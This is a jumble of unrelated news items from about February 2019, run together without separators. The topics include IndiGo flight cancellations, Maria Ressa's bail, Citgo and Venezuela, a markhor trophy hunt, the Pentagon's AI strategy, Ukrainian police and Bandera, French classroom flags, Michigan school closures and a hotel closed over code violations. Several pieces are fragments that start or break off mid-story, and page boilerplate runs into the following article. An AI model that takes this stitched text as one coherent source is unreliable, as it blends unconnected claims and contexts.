In a statement the airline said, the cancellations were caused by several factors like anticipated weather conditions on February 14 and NOTAMS at various airports resulting in extended duty times which made it necessary to re-roster crew and optimise operations.

Notam, or notice to airmen, is given to pilots and include information on potential hazards on a flight route.

Sources also suggested an acute shortage of pilots has added to the problems of the country's largest airline.

"Going forward, IndiGo has decided to curtail its schedule for the remaining period of Feb by approximately 30 flights a day. This is in order to stabilize its operation and adjust its crew rosters due to the reasons mentioned above. Passengers are in the process of being informed and re-accommodated," the airline said.

The curtailment will continue until the end of March, it added.

More than 30 IndiGo flights have been cancelled every day since February 1, when the hailstorm forced diversion of 11 flights. That led to a cascading effect, all the more because of the shortage of pilots.

IndiGo hasn't yet commented on the pilot shortage issue.

The airline said flights were cancelled with one to two days prior notice in order to re-accommodate passengers on flights at a similar time as booked.

"These 30 flights represent 2 percent of IndiGos flights. The operations will be completely normalized by the start of the summer schedule, 31 March 2019," the airline added.live bse live

nse live Volume Todays L/H More 

An Indian court has set aside an arbitration award of more than 8 billion rupees ($113.19 million) owed to India's Hindustan Petroleum Corp Ltd by Malaysia's M3nergy, according to a court document reviewed by Reuters.

In 2017, state-run HPCL was awarded the amount after an arbitration board found that M3nergy had delayed the finalising of a consortium agreement which led to the termination of an exploration contract with India's Oil and Natural Gas Corp, the Economic Times newspaper reported at the time.

However, the Bombay High Court ruled on January 10 to set aside the award saying the tribunal which ruled in favour of HPCL had no jurisdiction to do so, according to court documents uploaded to the court's public information system on February 11 and reviewed by Reuters.

Rishab Gupta, a partner at the Indian law firm Shardul Amarchand Mangaldas that represents M3nergy, confirmed on Wednesday the January 10 ruling was for the original 8 billion rupee amount given in 2017.

A company spokesman for HPCL was not immediately available to make a comment when contacted by Reuters.Prime Minister Narendra Modi-led government's initiative to provide quick loans up to Rs 1 crore to small businesses from public sector banks appears to be bearing fruit. Loans worth Rs 30,000 crore have been successfully disbursed after it was launched in September 2018, The Economic Times reported.

The psbloansin59minutes portal will succeed further and see more credit outlay as banks transmit the 25 basis rate cut announced by the Reserve Bank of India in February, a government official told the newspaper.

As many as 24,000 new borrowers availed loans worth around Rs 6,400 crore and 68,000 repeat debtors borrowed Rs 23,439 crore, the official said.

"There is now less human interference in the sanctioning process. Also, since the loan documentation is done through the portal itself, it also creates a liability on the approving authority to provide reasons for delays and denials," a Finance Ministry official was quoted in the report as saying.

Businesses have to provide details about income tax returns, GST details and bank statements to avail of these funds. The method is easier than the conventional process to avail credit, but bankers are looking to simplify and automate it further, especially in case of firms that have complete documentation. Banks have not seen any issues with these loans yet. Through the current system, small and medium businesses get an in-principle nod from the portal and the credit is disseminated within a week, the report stated.

The Finance Ministry official added that the restructuring of MSME loans, which was announced by the RBI, will further help the industry. Even Financial Services Secretary Rajiv Kumar had said that this will help redistribute loans worth Rs 1 lakh crore to seven lakh eligible small businesses. "The scheme will free up additional resources, which will fuel demand and create further opportunities in the industry," he had stated.Mr. Krupa harassed and bullied me through breaching a school computer system and posting disturbing language and images that shocked me and my students, Muir wrote in her letter, which includes a brief disclosure that it was paid for by the CTUs political action committee.After years of calls for a befitting honor for pioneering civil rights activist and investigative journalist Ida B. Wells, the Chicago City Council approved the name change in July. Some of the new street signs have now gone up, and Google Maps reflects the change, but some people who work in and visit businesses on Wells Street say the new name may cause confusion.Bauer was the highest-ranking police officer to be killed in the line of duty in decades. The shooting resulted in a federal conviction for an unlicensed gun dealer and spurred legislation that gives the state more oversight over Illinois gun dealers. His death also was the first of a string of losses that marked a difficult year for the department.We love this church very, very much, she said after Sundays service. This is a rough season for our church. However, we remain very hopeful because the Bible says the gates of hell will not prevail against the church. And the church is not one person. ... We know that the church will prevail and whatever is in darkness will come to light. It seems to be a purification for our church.Metro Manila (CNN Philippines, February 14)  Rappler CEO and executive editor Maria Ressa is out on bail Thursday after her detention for a cyber libel case.

The bail was set at 100,000. A release order was issued shortly after.

Ressa was arrested after the Manila Regional Trial Court 46 issued a warrant of arrest against her for a cyberlibel case involving a story published on their online news platform May 2012, months before the Cybercrime Prevention Act of 2012 was passed.

The Rappler executive was detained overnight at the conference room of the National Bureau of Investigation's Anti-Cybercrime Division after failed attempts to post bail. She was nabbed by authorities past 5 p.m. Wednesday.

The Pasay City court did not allow her to post bail, citing jurisdictional reasons.

"There's so many instances where we should have been allowed to post bail but that did not happen," Ressa told CNN Philippines' Balitaan.

She also said that this would be the sixth time she would post bail.

"This now is my sixth, sixth time that I post bail and I will pay more bail than convicted criminals, traditional, I will pay more bail than Imelda Marcos," Ressa earlier told reporters.

Justice Secretary Menardo Guevarra on Wednesday said Ressa's arrest was all part of procedure. He added that she could have avoided detention if she posted a bail bond.

Ressa however, said these are the actions of Guevarra's department.

"You don't want to be known as the Secretary of Injustice," said Ressa in her message to the Justice chief.

Her lawyer, JJ Disini, said aside from posting bail, they will file a motion to nullify the case against Ressa.

Disini said they will question the Pasay City court's denial of posting bail and the incomplete arrest warrant which did not indicate how much bail is required.

Rappler said no arrest warrant was issued against their former researcher and reporter Reynaldo Santos, who wrote the article in question: a story about businessman Wilfredo Keng and his alleged ties with then-Chief Justice Renato Corona.

Ressa said the NBI dismissed Keng's complaint, but the Department of Justice ruled in Keng's favor amid Rappler's supposed update of the article in 2014.

The online news site insisted the update was a mechanical error.

"In this particular case, the so-called republication was a correction of a punctuation mark or an addition of a punctuation mark which did not affect the meaning no of the original quote," Disini said.

Outside the NBI Headquarters Wednesday evening, protesters in support of Ressa gathered to denounce her detention.Workers in newly renamed N. Macedonia replace road signs

Workers in newly renamed N. Macedonia replace road signs

Workers in the newly renamed North Macedonia have begun replacing road signs to reflect the change in the countrys name. The name change resolves a dispute with Greece dating back to the countrys 1991 independence from Yugoslavia. Athens argued the name implied claims on the northern Greek province of Macedonia. Workers were removing Republic of Macedonia road signs at a border crossing with Greece on Wednesday. The country then will take a series of steps as part of the agreement with Athens, including changing signs at airports, on official buildings, web pages and printed materials. Vehicle registration plates will also change, while passports and currency will be replaced over the coming years, AP said.Source : RT - Daily newsVietnam requests UN permission for N. Korean delegations visit  report

Vietnam requests UN permission for N. Korean delegations visit  report

Vietnam has requested a UN committee overseeing international sanctions against North Korea to permit a visit to Hanoi by a North Korean delegation, which may include blacklisted officials, TASS quoted a UN source as saying. Vietnam requested the [1718] Committee for exemptions from the sanctions regime in order to hold the US-North Korean summit on February 27-28, the source said on Tuesday. The request is to be considered by February 19. The permission was requested for all members of the North Korean delegation, including those whose names had been put on the international organizations sanctions lists, according to the diplomat.Source : RT - Daily newsNortham was quoted as saying in response, These accusations are very, very serious. And they need to be taken seriously.  We need to get to the truth. The truth is important. If these accusations are determined to be true, I don't think he's going to have any other option but to resign.The Venezuelan opposition led by Juan Guaido could soon become the owner of PDVSAs US refining business, Citgo, in what would only deepen the chaos surrounding the countrys state oil company.

Guaido declared himself interim president and appointed an interim government in anticipation for new elections after he decried incumbent Nicolas Maduros second victory earlier this year. But the opposition leader and President of the opposition-dominated National Assembly also said he was about to announce an alternative board of directors for both PDVSA itself and Citgo as well. If this happens, Venezuela will not only have two presidents and two parliaments, but also two state oil companies.

Also on rt.com US piles pressure on Venezuela but remains mute on Haiti anti-govt unrest

This plot that would fit right in among Hollywood blockbusters is a legal quagmire, to say the least. In fact, Bloombergs Davide Scigliuzzo calls it a nightmarish legal situation. It is indeed a nightmare: Citgo is registered in the United States, but its owner is Venezuelas state oil company--that is, Venezuela.

Besides, there is a line of PDVSA creditors and companies fighting against Caracas in court after the forced nationalization of their businesses by Hugo Chavez waiting to get their hands on at least a piece of Citgo, or better yet, the whole company. One notable creditor in the line is Rosneft, whom PDVSA granted a majority stake in Citgo as collateral for a loan. And now, on top of all this, Citgo may end up with two managements and two boards of directors.

Scigliuzzo predicts it will all end in court and it will be a US court. This, he says, means that more likely than not ownership of Citgo will pass into the hands of Guaido, based on a precedent involving Communist China and the nationalist government that was overthrown by the Communists. In that case, concerning a deposit of over $600,000 with Wells Fargo, the US court ruled in favor of the nationalist government, which was the one Washington supported, Scigliuzzo notes. It would only make sense that any US court will comply with Washingtons sympathies on the Citgo case as well.

Also on rt.com Backed by UNSC? 5 moments from Guaidos interview with RT that dont quite add up

The court will defer to what the State Department says and I think the State Department in the US has made it really clear who they think is the proper representative of the Venezuelan people, Scigliuzzo quoted a Duke University law professor, Mitu Gulati, as saying.

So, that particular matter is more or less settled, and a surprise is unlikely. But what will happen next? The parent company would still be in a schizoid state, with two boards of directors, and there is far less certainty that the Guaido-appointed board will be recognized as the legitimate one in Venezuela. This means, then, that Citgo could end up owned by the opposition while the Maduro government owns its parent company.

Also on rt.com Russias Gazprombank rejects Reuters report, denies opening new accounts for Venezuelan oil giant

Besides the legal headaches, this means Citgo will need to find other sources of crude: Venezuelan exports to the United States are already in decline following the last round of sanctions issued by Washington. PDVSA, on the other hand, will have to find new markets for the crude it is still producing. The wild cards that are PDVSAs creditors and other compensation seekers make a whole deck, adding a lot of further complexity to the situation. Its anyones guess how things will end with Venezuelas most important state company.

This article was originally published on Oilprice.comA Texas trophy hunter sparked outrage in Pakistan after he was photographed with a dead Astore Markhor, the countrys official animal. However, as more details emerged about the hunt, it appears the anger was misplaced.

Bryan Kinsel Harlan, an entrepreneur from Dallas, Texas, paid a record US$110,000 to shoot the animal in Pakistans northern Himalayan region of Gilgit-Baltistan. A photograph of Harlan sitting proudly with his kill, showing the majestic markhor with its symmetrical spiralling horns (which can grow to a length of 1.5m in some cases) angered many.

It was an easy and close shot. I am pleased to take this trophy, Harlan said after, as cited by the Washington Post.

Im from America, there are not many people from the United States of America that would come over here as a tourist. They think its dangerous. The problem is what the media is portraying. Its not dangerous. Mexico is more dangerous than Pakistan, Harlan added speaking at an impromptu press conference following the successful hunt.

Many outraged social media commentators wondered why there was no official ban on hunting the animal but that is where the counterintuitive nature of conservation comes into play.

Markhor populations across the Himalayan ranges of Pakistan, India and Afghanistan have been dwindling as a result of deforestation from logging, military exercises, competition with regional livestock for food as well as domestic poaching. By 2011, there were only an estimated 2500 markhors left.

Also on rt.com Zombie deer brain disease spreads to 24 US states & Canada and increasingly threatens HUMANS

To stop the precipitous population decline, Pakistan banned all local hunting, but continues to allow foreigners to hunt no more than 12 male goats per season in community conservation areas. India has also created five sanctuaries for markhors.

What has happened in this Astore markhor hunt is a prime example of what happens when a hunter and a village come together with a common understanding of conservation, Harlan added.

And as that happens, it reduces the poaching and  something that is often overlooked  the amount of wages that are brought to that hunt, the amount of food, and the amount of foreign investment, he added.

Also on rt.com Leopard picks fight with honey badgers, immediately regrets it (VIDEO)

The initiative is meant to help local communities as the funds are distributed among the areas impoverished and isolated residents, who receive 80 percent of the fee, while government wildlife agencies receive the remainder.

The practice has reportedly already helped save the species from extinction: In 2015, IUCN moved it back up to near threatened (less than 10,000 mature individuals) from endangered species thanks in part to such conservation measures.

Last month, two other Americans paid $100,000 and $105,000 respectively for the pleasure of hunting the animal.

This is not just about hunting, he told the outlet. The number of animals is increasing, and these foreign hunters are millionaires who go back and tell the world that Pakistan is safe, Tabarak Ullah, the local who guided Harlan during the hunt told the Washington Post.

Like this story? Share it with a friend!Spains Parliament has rejected a 2019 budget proposal, marking a major blow to Prime Minister Pedro Sanchez and raising the prospect of a potential snap general election.

A host of minority regional parties, including the Catalans, refused to support the crucial piece of legislation and voted against the proposal put forward by the socialist-led cabinet of Sanchez. The prime minister had earlier put his political future at stake, promising that if the 2019 budget is not adopted, he would call a snap election in mid-April.

Also on rt.com 'Test of democracy': Catalan leaders on trial amid political turmoil for Spanish government

Sanchezs Socialists, who hold 84 of the 350 seats in the parliament, heavily relied on the support of Basque and Catalan parties during the budget vote, as they did when seizing power from the conservative Peoples Party in a confidence vote last year.

But Catalan nationalists were unhappy with the government being reluctant to discuss the issue of independence for their wealthy region, voting against the budget bill.

Overall, 191 lawmakers voted against the budget and 158 voted in favor, with one MP abstaining.

The snap election date is yet to be set, although government officials say mid-April is the most likely option, according to Reuters.

DETAILS TO FOLLOWThe Pentagon has issued its first AI strategy, where it pleads with tech giants to help boost military capabilities and catch up with Russia and China in developing artificial intelligence for military purposes.

An unclassified summary of the strategy calls to rapidly incorporate AI technologies into the militarys decision-making and operations to reduce risk to fielded forces and generate military advantage. Also, the Pentagons strategists believe AI can help us better maintain our equipment, reduce operational costs, and improve readiness.

The 17-page paper is loose in wording and full of lengthy sentences hailing the US militarys reliance on innovation. Working your way through it wont help you to get a know-how of building a terminator or the like. Joking aside, one part of it does provide a few tip-offs about what the strategy is actually aimed at.

Other nations, particularly China and Russia, are making significant investments in AI for military purposes.

In an almost usual style of bashing, the Pentagon says that Beijing and Moscow threaten to erode our technological and operational advantages and destabilize the free and open international order.

Therefore the US and its allies must adopt AI to maintain its strategic position, prevail on future battlefields, and safeguard this order. The latter phrase doesnt sound new as the paper went public only a day after Donald Trump directed US agencies to speed up research and development of artificial intelligence.

Trumps executive order urges to preserve continued American leadership in the high-tech sector and warns the US is falling behind its strategic rivals in the race for AI supremacy.

Notably, The DoDs plan heavily relies on a helping hand from the American tech industry to source the algorithms and computing power necessary to run AI projects. We will enhance partnerships with US industry to align civilian AI leadership with defense challenges, it says.

Some tech giants have already been flirting with the military, among them Microsoft and Amazon. The former had already promised to hand over its expertise to honorable and ethical US armed forces, while the latter tried to beat the drum of patriotism with CEO Jeff Bezos calling America a great country which needs to be defended.

Also on rt.com Artificial intelligence may destroy humanity by accident (but it wont apologize) - by Lee Camp

The hunt for cutting-edge AI technologies didnt come without setbacks. Microsofts own employees demanded that the company have fair, reliable and safe, private and secure, inclusive, transparent, and accountable AI policy and dropped the race for short-term profits.

Another big tech firm, Google, dropped its bid from the JEDI program last year, which sought to install commercially available cloud computing services into military applications. The company has also witnessed a massive outcry from its employees against Project Maven, intended to use AI for drone target acquisition systems.

Some industry captains sounded the alarm over a looming machine takeover. Alibaba's founder Jack Ma has warned that the race for AI dominance could stir up a third world war. In 2017, a group of experts teamed up to issue a chilling warning to the countries all over the globe, calling to stand against weaponizing AI.

Like this story? Share it with a friend!Trade turnover between Russia and its second largest trade partner, Germany, increased 8.4 percent and reached nearly 62 billion ($70 billion) in 2018 compared to previous year, according to the German trade lobby.

Year-on-year imports from Russia to Germany expanded 14.7 percent, amounting to 36 billion ($40 billion). Export to Russia rose by 0.6 percent to 25.9 billion ($29 billion), the German-Russian Chamber of Commerce, which represents over 800 German firms, reported on Monday citing the Federal Statistical Office.

Also on rt.com Siberian discount chain wins over German consumers challenging local giants Aldi & Lidl

This is despite sanctions against Moscow and threats from the US to penalize German companies involved in the Russia-led Nord Stream 2 pipeline project.

German business has successfully increased exports to Russia despite the market difficulties, sanctions and counter-sanctions. This has also improved our expectations for 2019, the chairman of the German-Russian Chamber of Commerce, Matthias Schepp, said in a statement.

At the end of last year, Schepp said German firms boosted their investment in the Russian economy in spite of economic sanctions, adding such an investment volume has rarely been seen since the collapse of the Soviet Union. Speaking to RT at the St. Petersburg Economic Forum in May, the head of the German trade lobby said that it's not only car manufacturers investing heavily in Russia but medium-sized businesses as well.

Also on rt.com Solid relations in time of sanctions: Germanys investments into Russia exceed 2 billion

Germany is Russia's second largest trade partner, behind China. The trade turnover between Beijing and Moscow also surged last year by 24.5 percent to $108.3 billion, with $56.1 billion of it amounting to Russian exports to China. This is the first time since 2006 that Russia has had a trade surplus with its Eastern partner.

For more stories on economy & finance visit RT's business sectionA Ukrainian court sentenced a police officer who used the name of nationalist hero and Nazi henchman Stepan Bandera as a slur while scuffling with far-right rioters in Kiev. They walked free from custody, but the officer did not.

Vasily Melnikov, the officer in question, is now set to spend the next two months in a pre-trial detention facility although he may be released on a $4,240 bail. Local reports say the trial was closely watched by members of C14, a far-right group Melnikov was dispersing in a viral video that caused quite a stir across Ukraine.

Earlier this week, C14, whose name presumably refers to the fourteen-word white supremacy slogan, approached a police station in the Ukrainian capital. Riot police had to tackle assailants armed with knives, pepper sprays and a pistol. The brawl eventually got more violent when the far-right tried to storm the building.

Get down, Bandera! the officer is heard as he forces one of the mobsters onto the ground.

Stepan Bandera, a notorious nationalist figure, had actively worked with the Nazis before their 1941 invasion of the Soviet Union.

Police commanders were prompt to reflect on the violent clash, but instead of slamming violence against officers on duty, they lamented actions of their subordinates.

Instead, Sergey Knyazev, Chief of Ukrainian National Police, brought wordy apologies for the conduct of his rank and file. Later on, he launched IAmBanderite hashtag on Facebook, as did the head of Ukraines patrol police Evgeny Zhukov.

READ MORE: Ukrainian police launch I am Bandera flash mob after Nazi collaborators name is misused

I am Bandera! I am a police officer! I serve the Ukrainian people! the latter wrote on his page, pledging allegiance to militant ultranationalists who collaborated with the Nazis during World War II. Bandera's henchmen have committed countless crimes against Jews, Poles and members of the Soviet Communist party on German-occupied territories.

Andryy Kryshchenko, chief of Kiev police, went even further, saying in a video statement: Because of my understanding of the historical situation in Ukraine, I consider it unacceptable. He lamented some obscene vocabulary and promised that we have to do something about this.

Also on rt.com Familiar symbols? Ukraine's president poses with elite paratrooper sportingSS insignia (PHOTOS)

Ukrainian parliament had made the birthday of Nazi collaborator Stepan Bandera a national holiday last December, and thousands of Ukrainian radicals celebrated the day taking part in a torch-lit procession in Kiev.

to RT newsletter to get stories the mainstream media wont tell you.Italian PM Giuseppe Conte has hit back at claims made by a chief EU lawmaker that he is a puppet of his countrys coalition party leaders, after declaring the bloc had lost contact with its people.

The EU Parliament witnessed ill-tempered exchanges between Conte, who was making his debut speech, and leading MEPs. Guy Verhofstadt addressed the PM, saying that he regrets Italy has gone from being a big defender of Europe to the back of the line."

Also on rt.com Yellow Vests are reaction to ultra-liberal policies  Italys deputy PM

Bemoaning what he sees as the political degeneration of Italy, Verhofstadt accused Conte of being a puppet of the Five Star Movements Luigi Di Maio and the Northern Leagues Matteo Salvini. He also claimed that Italy, at times, behaves in an anti-European way, openly spiteful against other member states.

The senior Belgian MEP later suggested on social media that Italy is being unduly influenced by Russian President Vladimir Putin, causing EU division on the issue of Nicolas Maduros legitimacy as president of Venezuela.

Verhofstadt was responding to Contes assertion that the EU was dithering on the issue of migration, insisting that Europe could not continue with an emergency footing strategy on the highly polarizing issue  adding that the bloc had lost its connection to the people it serves.

Conte rejected Verhofstadts characterization, contending that MEPs need to be careful about the language they use, and maintaining that he was not beholden to powerful special interest groups.

I am not a puppet, I am very pleased to represent my people. The puppets are those who work for lobbies and other powers, and thats not the case here, Conte said.

Italys Interior Minister Matteo Salvini has responded on Twitter calling the treatment of Conte as "shameful" and urged voters to "send them [MEPs] home" in May's European elections.

It comes after a diplomatic row between France and Italy. Last week, France recalled its ambassador from Rome after a meeting was held between Italys deputy prime minister and leaders of the French Yellow Vest protester movement, who have been calling for French President Emmanuel Macrons resignation.

Salvini said on Monday that he was ready to meet his French counterpart this week for talks following the spat between the two EU member nations.

Like this story? Share it with a friend!

to RT newsletter to get stories the mainstream media wont tell you.The French parliament has adopted a proposal to decorate every classroom in France with the national and European Union flags, but the measure has drawn flak from both the left and the right. It is now being reconsidered.

The National Assembly approved the proposal by Republican deputy Eric Ciotti to hang the French tricolor in schools, after amending it to include the EU flag as well.

The French flag is a landmark that must be present in every class of every school in France, it is a dam against the plagues that threaten us, including Islamism and anti-Semitism," Ciotti said, speaking in favor of his proposal on Tuesday. The adopted measure says that the French flag and the chorus of the national anthem will need to be displayed in all primary and secondary classrooms across the country, both public and private.

Also on rt.com New reality TV premise? Poll shows Macron, Merkel may fare better if they swap countries

Although Ciotti had initially proposed only the display of the French tricolor, he welcomed the inclusion of the EU standard, calling it an important step forward.

His measure came in response to Education Minister Jean-Michel Blanquers call for reforming schools, which stressed the importance of the French educational system in fostering national cohesion.

The measure naturally found critics among Frances rising Eurosceptic movement, including President Emmanuel Macrons biggest rival, National Rally leader Marine Le Pen.

Others on social media suggested that the effort amounted to dictatorship by imposing the EU flag, and self-defeating or even hypocritical, given the poor conditions at some schools where the flags will be displayed.

(The European flag was among the symbols established by the European Constitution, which was massively rejected by the French in the 2005 referendum.)

"Yes to the French flag, no to the European flag. The latter must be left to the free choice of each mayor. Everyone is not necessarily pro-European. Otherwise it is called dictatorship," wrote one user in response to Ciotti.

"There is not enough money in France to properly heat schools or get rid of rats, but the ministry can afford two flags per classroom?" asked another.

Someone asked if students would be able to use the flags as blankets in the winter, when there is no heating.

Ciottis movement was also not without its critics on the National Assembly floor, particularly among left-wing MPs who continue to fight the mandate.

Michel Larive of La France Insoumise (France Unbowed) expressed his worry that the vote signaled a nationalist drift from those who are more interested in identity than equality.

"Schools are not barracks," he declared.

Elsa Faucillon of the Communist Party also took to Twitter to say that opposition voices were denied the chance to make their case during the deliberations.

On top of critiquing the voting process, Faucillon requested a new round of deliberations. Chairman of the Committee on Cultural Affairs and Education, Bruno Studer, seconded her request, which the assembly granted.

There will be another vote before the measure is approved. The new debate will take place next Friday, following a review of the mandates text.

Think your friends would be interested? Share this story!A newspaper report alleging that Chinese diplomats met in secret with Venezuelan opposition figures to ensure that its vast investments in the Latin American country are not endangered is fake news, Beijing has claimed.

The Wall Street Journal reported that the Chinese officials held talks in Washington with representatives of Juan Guaido, the self-appointed interim president of Venezuela who has received the full backing of the US not so from China.

The paper suggested that Beijing was looking to safeguard its oil projects in Venezuela from the current political crisis. Caracas also owes China around US$20 billion, it is estimated.

In fact the report is false. Its fake news, Hua Chunying, spokeswoman for the Chinese Foreign Ministry, told reporters when asked about the article.

China and Russia have refused to acknowledge Guaido as Venezuelas legitimate leader. Joined by NATO member Turkey, Beijing and Moscow have stressed that dialogue is the only solution to the crisis  which some fear could balloon into a civil war fueled with US-supplied weapons.

Guaido has billed himself as a business-friendly alternative to President Nicolas Maduro, pledging to open up Venezuela to foreign investment should he formally assume power. His critics say that his plan to reinvigorate Venezuelas crippled economy is sparse on details and could result in the mass privatization of the countrys natural resources.

Already, Guaido has been awarded some of Venezuelas state assets in the US, and reports suggest that he may even gain partial or complete control over the state-owned, US-based oil giant Citgo.

Also on rt.com Russias Gazprombank rejects Reuters report, denies opening new accounts for Venezuelan oil giant

Moscow as well as Beijing have called for a peaceful solution to the Venezuelan crisis, stressing that no foreign meddling should take place. On Tuesday, Russian Foreign Minister Sergey Lavrov pulled no punches on the US, accusing Washington of having lost all shame when dealing with the government crisis in Venezuela.

If you like this story, share it with a friend!Pro-Israel lobby group AIPAC is apparently trying to cash in on the controversy caused by Ilhan Omars tweets in which she slammed the overbearing power the Israeli lobby has on US lawmakers. But some say its an ill-timed effort.

In a document, said to be a copy of the fundraising email, that has circulated on social media, the American Israel Public Affairs Committee (AIPAC) accused Democratic Representative Ilhan Omar of perpetuating old anti-Semitic stereotypes by suggesting that Washington sides with Israel only because of Jewish money.

Aside from being offensive, divisive and ill-informed, the congresswomans assentation are plain wrong, the letter reads.

Also on rt.com #StandwithIlhan: Social media users defend Ilhan Omar after her forced apology over anti-Semitism

AIPAC stated that it was proud that it enjoys support across the aisles and called on its members to help it bolster bipartisan efforts in support of the shared values with a donation of $25, $50, $100 or more, according to Haaretz.

While the lobbying group cannot contribute directly to the campaigns of US politicians, it is said to have spent over $3.5 million in 2018 for various pro-Israeli causes.

AIPAC, which has received free publicity due to Omars controversy, apparently did not hesitate to seize the chance to raise even more funds. However, the quick response was slammed by some as proof of Omars point, as well as being poorly timed.

One commenter called the campaign an uncharacteristically tone deaf move from the otherwise media-savvy AIPAC.

In the initial tweet that sparked the brouhaha, Omar suggested that the Israeli government was ultimately behind the bipartisan ostracism she and another freshman congresswoman, Palestinian-American Rashida Tlaib, are facing for their criticism of Israeli policies against Palestinians.

READ MORE: All about the Benjamins: Ilhan Omar sparks Twitter backlash over anti-Semitic post

In another tweet, she directly called out AIPAC, pointing at the lobbying group as the piggy bank behind the Israeli clout on Capitol Hill.

The remarks drew the wrath of the pro-Israeli lobby and the GOP, and were slammed by her fellow Democrats. Facing mounting pressure from the American political establishment, Omar was eventually forced to apologize.

While she said that she was grateful for being educated on the painful history of anti-Semitic tropes, she doubled down on her criticism of the lobbying industry, which she said holds sway in US politics.

READ MORE: Sorry, not sorry? Ilhan Omar apologizes for anti-Semitic tweet, reigniting controversy

While some dismissed her apology as superficial, others expressed support for Omar, flooding Twitter with #StandwithIlhan posts.

Like this story? Share it with a friend!The secretive deliberations hinted at what was to come: A selection process cloaked in confidentiality, leaving the public in the dark about such critical issues as whether their plans can be built on budget and how well (or not) the designs would serve the airlines and travelers. It has also led to rampant speculation, especially among the five competing architectural teams, about who might get the job and when the winner will be announced.Some things change, some things stay the same.

Days spent by mid-Michigan students in class have become more the exception than the rule of late and the trend will continue for some districts.

In a message posted Tuesday night on its Facebook page, Mt. Pleasant Public Schools has decided to cancel classes on Wednesday, Feb. 13 Due to the continued weather conditions.

Beal City, Sheperd, Alma, Standish-Sterling, Ithaca, Pinconning, Essexville-Hampton, Harrison, Gladwin, Bangor Township, St. Louis and Breckenridge schools have also called off schools on Wednesday.

Due to continued winter weather conditions, the Mt Pleasant Public Schools will be closed on Wednesday, February 13th, 2019. The GITEC Open House and Strategic Plan Stakeholder Input Sessions originally scheduled for tomorrow have been canceled. Stay home where it is warm and safe, Oilers!!  Posted by Mt Pleasant Public Schools on Tuesday, February 12, 2019

A complete list of school and organization closings is available on the ABC 12 website here.

Winter weather advisories are in place for counties including Genesee, Isabella, Clare Saginaw, Bay, Lapeer, Midland, Tuscola, Huron and Shiawassee that call for more snow overnight Tuesday and wind gusts of up to 45 miles per hour into Wednesday that could lead roads to become icy and snow-covered once again.

Districts closed on Wednesday will have to submit a form to the state asking for a makeup day as Feb. 13 marks the second count day for the 2018-19 school year accounting for 10 percent of the state funding.

The October 2018 count day accounted for the other 90 percent.

Some relief may be on the way though via legislative efforts at the state level.

Michigan Senate Minority Leader Jim Ananich, D-Flint, is working on legislation to not count snow days that occurred under the state of emergency declaration by Gov. Gretchen Whitmer during a bitter cold snap in January.

Hes also mulling a plan to forgive any days over the limit for all public school districts just this school year because of the extreme weather.

In the House, state Rep. Ben Frederick, R-Owosso, is also working on legislation to hold school districts harmless for closures that occur during a declared state of emergency.

When the weather is so bad emergency officials are telling people to stay off the roads in the interest of public safety, it makes good sense to forgive those days," Frederick said.

School districts can apply for a waiver that would give them three additional forgiven days, but superintendents must explain why they need the time and why theyre not able to reschedule.

The growing number of school days has already pushed some districts though to rearrange their calendars.

Bentley Community Schools made the move to add two days -- April 22 and June 14  to its calendar as the district had reached 11 days off prior to Tuesdays cancellation.

With two additional days already built into Lapeer Community Schools calendar for potential make-up dates, the district has now scheduled classes on April 22 and May 24 and applied for the state waiver.

Davison schools decided to make Friday, Feb. 15 a regular day of school to help make up one of the days off after putting out a survey to parents with the idea and getting 87 percent support from the 3,264 responses.

That being said, we know that some of you have already made other plans for this day and we apologize for any inconvenience this may cause, said Kevin Brown, the districts superintendent, in a statement.

Brown noted officials are working with teachers to identify alternative options such as adding a day during the districts May intersession or other current non-school days.

He also pointed out the week of spring break in late March will remain the same as the district is legally mandated to hold the same vacation period as are all other schools within the intermediate school district.PINCONNING TWP, MI  Recently obtaining his first dog proved to be a sound investment for a Pinconning Township man, as the canine saved his life by alerting him to a fire that ended up ravaging his house.

The fire at 3301 N. Fraser Road occurred just after midnight on Tuesday, Feb. 12.

Bay County Sheriff Troy R. Cunningham said the lone male resident of the single-story house had been asleep when his dog began barking, awakening him.

There was smoke in his bedroom and when he opened the closed bedroom door to the hallway, he walked into real heavy smoke and fire, Cunningham said. The homeowner immediately closed the door and climbed out a bedroom window with his dog.

Pinconning-Fraser firefighters were dispatched to the scene at 12:24 a.m. They arrived to find heavy smoke and fire, leading them to switch from an offensive attack to a defensive one.

Winds of 15 to 25 mph also worsened the fire, with the 27-degree temperatures adding to the difficulty, said Fire Chief Dave Ramsay. Firefighters from Gibson Township, Beaver Township, Kawkawlin Township, Mount Forest Township, and Standish provided mutual aid. Northern Bay Ambulance, sheriffs deputies, and Michigan State Police troopers also assisted at the scene.

Firefighters cleared the area at about 4:30 a.m., Ramsay said.

The fire left the house a total loss. The cause remains under investigation, but it appears to be accidental, Ramsay and Cunningham said.

The resident suffered a minor facial cut. No firefighters were injured in the incident.

The homeowner had never had a dog before in his life and he just got the dog in recent months, Cunningham said. Had it not been for the dog, he might have never woken up.

The man could not be reached for comment.ROOSEVELT PARK, MI  A hotel in Roosevelt Park that was the source of several ongoing human trafficking complaints and multiple city code violations has been ordered closed by a Muskegon County circuit court judge.

Chief Judge William Marietti granted an injunction on the evening of Tuesday, Feb. 12, to close the Victory Inn & Suites hotel, located at 2967 Henry St.

The injunction gives the hotels operators until the evening of Wednesday, Feb. 13, to vacate the premises. A copy of the injunction was provided to MLive/Muskegon Chronicle by Roosevelt Park City Manager Jared Olson.

Olson said the hotel was in violation of city building and fire codes and was operating without a license. City officials requested the injunction in early January, but several weeks of poor weather delayed an official response.

The hotel is to remain closed until its operators can bring the building up to code and can acquire a valid operating license, according to the injunction.

In January 2018, the city of Roosevelt Park had also filed a lawsuit against the motels operators citing various human trafficking complaints, as well as the plethora of code violations mentioned in the court order.

Olson said he could not discuss details of the case and that several documents in the case file were sealed because they contain sensitive information about victims and others involved with allegations of human trafficking.

Olson added that the lawsuit is still pending, but Mariettis court order could have an effect on ongoing litigation.

Our original complaint alluded to some of those issues, but the injunction was solely based on building and fire code violations and operating without a license, Olson said.

Muskegon County Equalization shows the owner of the hotel is Bristol Property LLC, which Michigan corporate filings indicate is located in Southfield. The resident agent is listed as Salam Shaja. Shaja was out of the office and not available for comment when contacted by MLive/Muskegon Chronicle early Wednesday afternoon.

The hotels attorney, William Sininger, also indicated he was not available for comment.

In June 2018, Mitchell James Hodges, 40, from Muskegon, pleaded no contest to prostituting a teenage girl at the hotel. Marietti sentenced Hodges to seven to 20 years in prison.

Olson said he hopes the hotels chain will act swiftly to address the issues so the business can be a source of pride for the residents and people of Roosevelt Park.

